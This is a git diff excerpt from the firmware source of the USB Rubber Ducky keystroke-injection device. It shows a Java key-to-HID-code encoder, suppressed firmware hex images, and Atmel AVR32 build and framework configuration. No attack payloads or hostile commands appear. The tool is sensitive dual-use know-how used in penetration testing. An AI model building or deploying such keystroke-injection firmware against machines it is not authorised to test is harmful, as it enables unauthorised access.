||||
case '\'':
|
||||
case '"':
|
||||
return 0x34;
|
||||
case '`':
|
||||
case '~':
|
||||
return 0x35;
|
||||
case ',':
|
||||
case '<':
|
||||
return 0x36;
|
||||
case '.':
|
||||
case '>':
|
||||
return 0x37;
|
||||
case '/':
|
||||
case '?':
|
||||
return 0x38;
|
||||
}
|
||||
|
||||
return (byte) 0x99;
|
||||
}
|
||||
|
||||
private static boolean functionKeyCheck(String possibleFKey) {
|
||||
if (possibleFKey.equals("F1") || possibleFKey.equals("F2")
|
||||
|| possibleFKey.equals("F3") || possibleFKey.equals("F4")
|
||||
|| possibleFKey.equals("F5") || possibleFKey.equals("F6")
|
||||
|| possibleFKey.equals("F7") || possibleFKey.equals("F8")
|
||||
|| possibleFKey.equals("F9") || possibleFKey.equals("F10")
|
||||
|| possibleFKey.equals("F11") || possibleFKey.equals("F12")) {
|
||||
return true;
|
||||
} else
|
||||
return false;
|
||||
}
|
||||
|
||||
private static byte functionKeyToByte(String fKey) {
|
||||
if (fKey.equals("F1"))
|
||||
return (byte) 0x3a;
|
||||
else if (fKey.equals("F2"))
|
||||
return (byte) 0x3b;
|
||||
else if (fKey.equals("F3"))
|
||||
return (byte) 0x3c;
|
||||
else if (fKey.equals("F4"))
|
||||
return (byte) 0x3d;
|
||||
else if (fKey.equals("F5"))
|
||||
return (byte) 0x3e;
|
||||
else if (fKey.equals("F6"))
|
||||
return (byte) 0x3f;
|
||||
else if (fKey.equals("F7"))
|
||||
return (byte) 0x40;
|
||||
else if (fKey.equals("F8"))
|
||||
return (byte) 0x41;
|
||||
else if (fKey.equals("F9"))
|
||||
return (byte) 0x42;
|
||||
else if (fKey.equals("F10"))
|
||||
return (byte) 0x43;
|
||||
else if (fKey.equals("F11"))
|
||||
return (byte) 0x44;
|
||||
else if (fKey.equals("F12"))
|
||||
return (byte) 0x45;
|
||||
else
|
||||
return (byte) 0x99;
|
||||
}
|
||||
}
|
1874
Rubber_Duck/HAK/Firmware/Images/duck.hex
Executable file
1874
Rubber_Duck/HAK/Firmware/Images/duck.hex
Executable file
File diff suppressed because it is too large
Load diff
2065
Rubber_Duck/HAK/Firmware/Images/m_duck.hex
Executable file
2065
Rubber_Duck/HAK/Firmware/Images/m_duck.hex
Executable file
File diff suppressed because it is too large
Load diff
2072
Rubber_Duck/HAK/Firmware/Images/osx.hex
Executable file
2072
Rubber_Duck/HAK/Firmware/Images/osx.hex
Executable file
File diff suppressed because it is too large
Load diff
1513
Rubber_Duck/HAK/Firmware/Images/usb.hex
Executable file
1513
Rubber_Duck/HAK/Firmware/Images/usb.hex
Executable file
File diff suppressed because it is too large
Load diff
98
Rubber_Duck/HAK/Firmware/Source/Duck_HID/Framework.config
Executable file
98
Rubber_Duck/HAK/Firmware/Source/Duck_HID/Framework.config
Executable file
|
@ -0,0 +1,98 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<framework-data>
|
||||
<options>
|
||||
<option id="com.atmel.avr32.sf.uc3b.drivers.pm" value="true" />
|
||||
<option id="com.atmel.avr32.sf.uc3b.drivers.gpio" value="true" />
|
||||
<option id="com.atmel.avr32.sf.uc3b.drivers.spi" value="true" />
|
||||
<option id="com.atmel.avr32.sf.uc3b.common.boards" value="true" />
|
||||
<option id="com.atmel.avr32.sf.uc3b.services.fs.fat" value="true" />
|
||||
<option id="com.atmel.avr32.sf.uc3b.common.services.storage.ctrl_access" value="true" />
|
||||
<option id="com.atmel.avr32.sf.uc3b.common.services.usb.class.hid.device.keyboard.single" value="true" />
|
||||
<option id="com.atmel.avr32.sf.uc3b.utils.print_funcs" value="true" />
|
||||
</options>
|
||||
<files>
|
||||
<file path="src/asf/common/utils/interrupt.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="common/utils/interrupt.h" changed="False" />
|
||||
<file path="src/asf/avr32/services/fs/fat/file.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/file.c" changed="False" />
|
||||
<file path="src/asf/avr32/services/fs/fat/fs_com.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/fs_com.h" changed="False" />
|
||||
<file path="src/config/conf_explorer.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/fat_example/conf_explorer.h" changed="False" />
|
||||
<file path="src/asf/avr32/services/fs/fat/fat_unusual.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/fat_unusual.c" changed="False" />
|
||||
<file path="src/asf/avr32/services/fs/fat/file.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/file.h" changed="False" />
|
||||
<file path="src/asf/avr32/boards/evk1101/led.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/boards/evk1101/led.h" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/pm/pm_conf_clocks.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/pm/pm_conf_clocks.c" changed="False" />
|
||||
<file path="src/asf/avr32/services/fs/fat/navigation.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/navigation.c" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/intc/exception.S" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/intc/exception.S" changed="False" />
|
||||
<file path="src/asf/avr32/services/fs/fat/navigation.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/navigation.h" changed="False" />
|
||||
<file path="src/asf/avr32/services/fs/fat/fat.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/fat.h" changed="False" />
|
||||
<file path="src/asf/avr32/boards/evk1101/led.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/boards/evk1101/led.c" changed="False" />
|
||||
<file path="src/asf/avr32/services/fs/fat/fat.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/fat.c" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/spi/spi.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/spi/spi.c" changed="False" />
|
||||
<file path="src/asf/avr32/utils/preprocessor/stringz.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/preprocessor/stringz.h" changed="False" />
|
||||
<file path="src/asf/avr32/utils/status_codes.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/status_codes.h" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/intc/intc.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/intc/intc.c" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/intc/intc.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/intc/intc.h" changed="False" />
|
||||
<file path="src/asf/common/boards/board.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="common/boards/board.h" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/pm/power_clocks_lib.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/pm/power_clocks_lib.h" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/flashc/flashc.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/flashc/flashc.c" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/pm/power_clocks_lib.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/pm/power_clocks_lib.c" changed="False" />
|
||||
<file path="src/asf/common/services/storage/ctrl_access/ctrl_access.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="common/services/storage/ctrl_access/ctrl_access.c" changed="False" />
|
||||
<file path="src/asf/avr32/boards/evk1101/evk1101.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/boards/evk1101/evk1101.h" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/pm/pm.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/pm/pm.h" changed="False" />
|
||||
<file path="src/asf/common/services/storage/ctrl_access/ctrl_access.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="common/services/storage/ctrl_access/ctrl_access.h" changed="False" />
|
||||
<file path="src/asf/avr32/utils/preprocessor/mrepeat.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/preprocessor/mrepeat.h" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/pm/pm.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/pm/pm.c" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/usart/usart.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/usart/usart.c" changed="False" />
|
||||
<file path="src/asf/avr32/utils/preprocessor/preprocessor.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/preprocessor/preprocessor.h" changed="False" />
|
||||
<file path="src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/gpio/gpio.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/gpio/gpio.h" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/usart/usart.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/usart/usart.h" changed="False" />
|
||||
<file path="src/asf/avr32/utils/startup/startup_uc3.S" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/startup/startup_uc3.S" changed="False" />
|
||||
<file path="src/asf/avr32/utils/startup/trampoline_uc3.S" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/startup/trampoline_uc3.S" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/gpio/gpio.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/gpio/gpio.c" changed="False" />
|
||||
<file path="src/asf/avr32/utils/debug/print_funcs.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/debug/print_funcs.h" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/spi/spi.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/spi/spi.h" changed="False" />
|
||||
<file path="src/config/conf_access.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/fat_example/conf_access.h" changed="False" />
|
||||
<file path="src/asf/avr32/utils/startup/trampoline_uc3.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/startup/trampoline_uc3.h" changed="False" />
|
||||
<file path="src/asf.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="./avr32/services/fs/fat/fat_example/at32uc3b0256_evk1101/as5_32/asf.h" changed="False" />
|
||||
<file path="src/asf/common/utils/interrupt/interrupt_avr32.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="common/utils/interrupt/interrupt_avr32.h" changed="False" />
|
||||
<file path="src/asf/avr32/utils/parts.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/parts.h" changed="False" />
|
||||
<file path="src/asf/avr32/utils/debug/print_funcs.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/debug/print_funcs.c" changed="False" />
|
||||
<file path="src/fat_example.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/fat_example/fat_example.c" changed="False" />
|
||||
<file path="src/asf/avr32/utils/preprocessor/tpaste.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/preprocessor/tpaste.h" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/pm/sleep.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/pm/sleep.h" changed="False" />
|
||||
<file path="src/asf/avr32/utils/compiler.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/compiler.h" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/flashc/flashc.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/flashc/flashc.h" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/usbb/usbb_device.c" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="avr32/drivers/usbb/usbb_device.c" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/usbb/usbb_otg.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="avr32/drivers/usbb/usbb_otg.h" changed="False" />
|
||||
<file path="src/asf/avr32/drivers/usbb/usbb_device.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="avr32/drivers/usbb/usbb_device.h" changed="False" />
|
||||
<file path="src/asf/common/services/sleepmgr/uc3/sleepmgr.c" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/sleepmgr/uc3/sleepmgr.c" changed="False" />
|
||||
<file path="src/asf/common/services/sleepmgr/uc3/sleepmgr.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/sleepmgr/uc3/sleepmgr.h" changed="False" />
|
||||
<file path="src/asf/common/services/sleepmgr/sleepmgr.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/sleepmgr/sleepmgr.h" changed="False" />
|
||||
<file path="src/config/conf_sleepmgr.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/sleepmgr/uc3/module_config/conf_sleepmgr.h" changed="False" />
|
||||
<file path="src/asf/common/services/clock/uc3b0_b1/sysclk.c" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/uc3b0_b1/sysclk.c" changed="False" />
|
||||
<file path="src/asf/common/services/clock/sysclk.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/sysclk.h" changed="False" />
|
||||
<file path="src/asf/common/services/clock/genclk.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/genclk.h" changed="False" />
|
||||
<file path="src/asf/common/services/clock/uc3b0_b1/pll.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/uc3b0_b1/pll.h" changed="False" />
|
||||
<file path="src/asf/common/services/clock/uc3b0_b1/genclk.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/uc3b0_b1/genclk.h" changed="False" />
|
||||
<file path="src/asf/common/services/clock/uc3b0_b1/sysclk.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/uc3b0_b1/sysclk.h" changed="False" />
|
||||
<file path="src/asf/common/services/clock/uc3b0_b1/osc.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/uc3b0_b1/osc.h" changed="False" />
|
||||
<file path="src/asf/common/services/clock/pll.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/pll.h" changed="False" />
|
||||
<file path="src/asf/common/services/clock/osc.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/osc.h" changed="False" />
|
||||
<file path="src/config/conf_clock.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/clock/uc3b0_b1/module_config/conf_clock.h" changed="False" />
|
||||
<file path="src/asf/common/services/usb/udc/udc.c" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/udc/udc.c" changed="False" />
|
||||
<file path="src/asf/common/services/usb/udc/udi.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/udc/udi.h" changed="False" />
|
||||
<file path="src/asf/common/services/usb/usb_protocol.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/usb_protocol.h" changed="False" />
|
||||
<file path="src/asf/common/services/usb/udc/udc_desc.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/udc/udc_desc.h" changed="False" />
|
||||
<file path="src/asf/common/services/usb/udc/udc.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/udc/udc.h" changed="False" />
|
||||
<file path="src/asf/common/services/usb/usb_atmel.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/usb_atmel.h" changed="False" />
|
||||
<file path="src/asf/common/services/usb/udc/udd.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/udc/udd.h" changed="False" />
|
||||
<file path="src/asf/common/services/usb/class/hid/usb_protocol_hid.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/usb_protocol_hid.h" changed="False" />
|
||||
<file path="src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c" changed="False" />
|
||||
<file path="src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.c" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/device/kbd/udi_hid_kbd.c" changed="False" />
|
||||
<file path="src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h" changed="False" />
|
||||
<file path="src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/device/kbd/udi_hid_kbd.h" changed="False" />
|
||||
<file path="src/config/conf_usb.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/device/kbd/module_config/conf_usb.h" changed="False" />
|
||||
<file path="src/asf/common/services/usb/class/hid/device/udi_hid.c" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/device/udi_hid.c" changed="False" />
|
||||
<file path="src/asf/common/services/usb/class/hid/device/udi_hid.h" framework="com.atmel.avr32.sf.uc3b" version="2.2.2" source="common/services/usb/class/hid/device/udi_hid.h" changed="False" />
|
||||
</files>
|
||||
<documentation help="http://asf.atmel.com/docs/latest/avr32/services/fs/fat/fat_example/at32uc3b0256_evk1101/doxygen/html/" />
|
||||
</framework-data>
|
20
Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsln
Executable file
20
Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsln
Executable file
|
@ -0,0 +1,20 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# AvrStudio Solution File, Format Version 11.00
|
||||
Project("{54F91283-7BC4-4236-8FF9-10F437C3AD48}") = "duck", "duck.cproj", "{FEE31E0F-40F4-11E0-93CF-000C29A22D21}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|AVR = Debug|AVR
|
||||
Release|AVR = Release|AVR
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.ActiveCfg = Debug|AVR
|
||||
{FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.Build.0 = Debug|AVR
|
||||
{FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.ActiveCfg = Release|AVR
|
||||
{FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.Build.0 = Release|AVR
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
BIN
Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsuo
Executable file
BIN
Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.atsuo
Executable file
Binary file not shown.
567
Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrgccproj
Executable file
567
Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrgccproj
Executable file
|
@ -0,0 +1,567 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" DefaultTargets="Build">
|
||||
<PropertyGroup>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectVersion>5.0</ProjectVersion>
|
||||
<ProjectGuid>fee31e0f-40f4-11e0-93cf-000c29a22d21</ProjectGuid>
|
||||
<avrdevice>AT32UC3B0256</avrdevice>
|
||||
<avrdeviceseries>uc3b</avrdeviceseries>
|
||||
<OutputFile>$(MSBuildProjectName).elf</OutputFile>
|
||||
<OutputDirectory>$(MSBuildProjectDirectory)\$(Configuration)</OutputDirectory>
|
||||
<AvrGccProjectExtensions />
|
||||
<AssemblyName>$(MSBuildProjectName)</AssemblyName>
|
||||
<Name>$(MSBuildProjectName)</Name>
|
||||
<RootNamespace>$(MSBuildProjectName)</RootNamespace>
|
||||
<OutputType>Executable</OutputType>
|
||||
<Language>C</Language>
|
||||
<ToolchainName>com.Atmel.AVRGCC32</ToolchainName>
|
||||
<UseGlobalToolchain>True</UseGlobalToolchain>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)' == 'Release' ">
|
||||
<ToolchainSettings>
|
||||
<Avr32Gcc>
|
||||
<avr32gcc.compiler.symbols.DefSymbols>
|
||||
<ListValues>
|
||||
<Value>BOARD=EVK1101</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.compiler.symbols.DefSymbols>
|
||||
<avr32gcc.compiler.directories.IncludePaths>
|
||||
<ListValues>
|
||||
<Value>../src</Value>
|
||||
<Value>../src/asf/avr32/boards</Value>
|
||||
<Value>../src/asf/avr32/boards/evk1101</Value>
|
||||
<Value>../src/asf/avr32/drivers/flashc</Value>
|
||||
<Value>../src/asf/avr32/drivers/gpio</Value>
|
||||
<Value>../src/asf/avr32/drivers/intc</Value>
|
||||
<Value>../src/asf/avr32/drivers/pm</Value>
|
||||
<Value>../src/asf/avr32/drivers/spi</Value>
|
||||
<Value>../src/asf/avr32/drivers/usart</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat/fat_example</Value>
|
||||
<Value>../src/asf/avr32/utils</Value>
|
||||
<Value>../src/asf/avr32/utils/debug</Value>
|
||||
<Value>../src/asf/avr32/utils/preprocessor</Value>
|
||||
<Value>../src/asf/common/boards</Value>
|
||||
<Value>../src/asf/common/services/storage/ctrl_access</Value>
|
||||
<Value>../src/asf/common/utils</Value>
|
||||
<Value>../src/config</Value>
|
||||
<Value>../src/asf/avr32/drivers/usbb</Value>
|
||||
<Value>../src/asf/common/services/sleepmgr</Value>
|
||||
<Value>../src/asf/common/services/clock</Value>
|
||||
<Value>../src/asf/common/services/usb</Value>
|
||||
<Value>../src/asf/common/services/usb/udc</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device/kbd</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device</Value>
|
||||
<Value>../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.compiler.directories.IncludePaths>
|
||||
<avr32gcc.compiler.optimization.level>Optimize for size (-Os)</avr32gcc.compiler.optimization.level>
|
||||
<avr32gcc.compiler.optimization.OtherFlags>-fdata-sections</avr32gcc.compiler.optimization.OtherFlags>
|
||||
<avr32gcc.compiler.optimization.PrepareFunctionsForGarbageCollection>True</avr32gcc.compiler.optimization.PrepareFunctionsForGarbageCollection>
|
||||
<avr32gcc.compiler.warnings.AllWarnings>True</avr32gcc.compiler.warnings.AllWarnings>
|
||||
<avr32gcc.compiler.miscellaneous.OtherFlags>-std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax</avr32gcc.compiler.miscellaneous.OtherFlags>
|
||||
<avr32gcc.linker.general.DoNotUseStandardStartFiles>True</avr32gcc.linker.general.DoNotUseStandardStartFiles>
|
||||
<avr32gcc.linker.optimization.GarbageCollectUnusedSections>True</avr32gcc.linker.optimization.GarbageCollectUnusedSections>
|
||||
<avr32gcc.linker.miscellaneous.LinkerFlags>-T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax</avr32gcc.linker.miscellaneous.LinkerFlags>
|
||||
<avr32gcc.assembler.general.AssemblerFlags>-mrelax</avr32gcc.assembler.general.AssemblerFlags>
|
||||
<avr32gcc.assembler.general.IncludePaths>
|
||||
<ListValues>
|
||||
<Value>../src</Value>
|
||||
<Value>../src/asf/avr32/boards</Value>
|
||||
<Value>../src/asf/avr32/boards/evk1101</Value>
|
||||
<Value>../src/asf/avr32/drivers/flashc</Value>
|
||||
<Value>../src/asf/avr32/drivers/gpio</Value>
|
||||
<Value>../src/asf/avr32/drivers/intc</Value>
|
||||
<Value>../src/asf/avr32/drivers/pm</Value>
|
||||
<Value>../src/asf/avr32/drivers/spi</Value>
|
||||
<Value>../src/asf/avr32/drivers/usart</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat/fat_example</Value>
|
||||
<Value>../src/asf/avr32/utils</Value>
|
||||
<Value>../src/asf/avr32/utils/debug</Value>
|
||||
<Value>../src/asf/avr32/utils/preprocessor</Value>
|
||||
<Value>../src/asf/common/boards</Value>
|
||||
<Value>../src/asf/common/services/storage/ctrl_access</Value>
|
||||
<Value>../src/asf/common/utils</Value>
|
||||
<Value>../src/config</Value>
|
||||
<Value>../src/asf/avr32/drivers/usbb</Value>
|
||||
<Value>../src/asf/common/services/sleepmgr</Value>
|
||||
<Value>../src/asf/common/services/clock</Value>
|
||||
<Value>../src/asf/common/services/usb</Value>
|
||||
<Value>../src/asf/common/services/usb/udc</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device/kbd</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.assembler.general.IncludePaths>
|
||||
<avr32gcc.preprocessingassembler.general.AssemblerFlags>-mrelax</avr32gcc.preprocessingassembler.general.AssemblerFlags>
|
||||
<avr32gcc.preprocessingassembler.general.IncludePaths>
|
||||
<ListValues>
|
||||
<Value>../src</Value>
|
||||
<Value>../src/asf/avr32/boards</Value>
|
||||
<Value>../src/asf/avr32/boards/evk1101</Value>
|
||||
<Value>../src/asf/avr32/drivers/flashc</Value>
|
||||
<Value>../src/asf/avr32/drivers/gpio</Value>
|
||||
<Value>../src/asf/avr32/drivers/intc</Value>
|
||||
<Value>../src/asf/avr32/drivers/pm</Value>
|
||||
<Value>../src/asf/avr32/drivers/spi</Value>
|
||||
<Value>../src/asf/avr32/drivers/usart</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat/fat_example</Value>
|
||||
<Value>../src/asf/avr32/utils</Value>
|
||||
<Value>../src/asf/avr32/utils/debug</Value>
|
||||
<Value>../src/asf/avr32/utils/preprocessor</Value>
|
||||
<Value>../src/asf/common/boards</Value>
|
||||
<Value>../src/asf/common/services/storage/ctrl_access</Value>
|
||||
<Value>../src/asf/common/utils</Value>
|
||||
<Value>../src/config</Value>
|
||||
<Value>../src/asf/avr32/drivers/usbb</Value>
|
||||
<Value>../src/asf/common/services/sleepmgr</Value>
|
||||
<Value>../src/asf/common/services/clock</Value>
|
||||
<Value>../src/asf/common/services/usb</Value>
|
||||
<Value>../src/asf/common/services/usb/udc</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device/kbd</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.preprocessingassembler.general.IncludePaths>
|
||||
</Avr32Gcc>
|
||||
</ToolchainSettings>
|
||||
<GenerateHexFile>True</GenerateHexFile>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)' == 'Debug' ">
|
||||
<ToolchainSettings>
|
||||
<Avr32Gcc>
|
||||
<avr32gcc.compiler.symbols.DefSymbols>
|
||||
<ListValues>
|
||||
<Value>BOARD=EVK1101</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.compiler.symbols.DefSymbols>
|
||||
<avr32gcc.compiler.directories.IncludePaths>
|
||||
<ListValues>
|
||||
<Value>../src</Value>
|
||||
<Value>../src/asf/avr32/boards</Value>
|
||||
<Value>../src/asf/avr32/boards/evk1101</Value>
|
||||
<Value>../src/asf/avr32/drivers/flashc</Value>
|
||||
<Value>../src/asf/avr32/drivers/gpio</Value>
|
||||
<Value>../src/asf/avr32/drivers/intc</Value>
|
||||
<Value>../src/asf/avr32/drivers/pm</Value>
|
||||
<Value>../src/asf/avr32/drivers/spi</Value>
|
||||
